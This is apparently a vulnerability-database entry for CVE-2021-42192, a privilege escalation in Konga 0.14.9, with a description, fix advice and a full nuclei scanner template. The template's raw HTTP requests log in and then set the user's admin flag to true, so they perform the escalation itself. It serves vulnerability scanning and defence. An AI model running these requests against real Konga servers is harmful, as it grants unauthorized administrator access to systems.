HexBrain

Browse / CVEs / CVE-2021-42192

CVE-2021-42192· konga project / konga· CWE-863

KONGA 0.14.9 - Privilege Escalation

highseverity
8.8CVSS score
9.8%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information or perform unauthorized actions.

Fix

Upgrade to a patched version of KONGA or apply the necessary security patches provided by the vendor.

How to confirm it

Send: POST /login ; POST /api/user/{{id}} ; PUT /api/user/{{id}}
Positive when: contains(body_2, "\"admin\":false") and contains(body_3, "\"admin\":true") AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-42192 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-42192

info:
  name: KONGA 0.14.9 - Privilege Escalation
  author: rschio
  severity: high
  description: KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Upgrade to a patched version of KONGA or apply the necessary security patches provided by the vendor.
  reference:
    - http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
    - https://www.exploit-db.com/exploits/50521
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42192
    - https://docs.google.com/document/d/1-YU9zWiDVUps3Mb6zos3996yvZ48vW_vfOvaJLLHc4I/edit?usp=sharing
    - https://github.com/pantsel/konga/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-42192
    cwe-id: CWE-863
    epss-score: 0.098
    epss-percentile: 0.95582
    cpe: cpe:2.3:a:konga_project:konga:0.14.9:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: konga_project
    product: konga
  tags: cve2021,cve,authenticated,edb,konga,intrusive,konga_project,vuln

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"password": "{{password}}", "identifier": "{{username}}"}
      - |
        POST /api/user/{{id}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}
        Content-Type: application/json;charset=utf-8

        {"token": "{{token}}"}
      - |
        PUT /api/user/{{id}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}
        Content-Type: application/json;charset=utf-8

        {"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(body_2, "\"admin\":false")
          - contains(body_3, "\"admin\":true")
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: id
        group: 1
        regex:
          - '"id":([0-9]+)'
        internal: true
        part: body

      - type: regex
        name: token
        group: 1
        regex:
          - '"token":"(.*)"'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from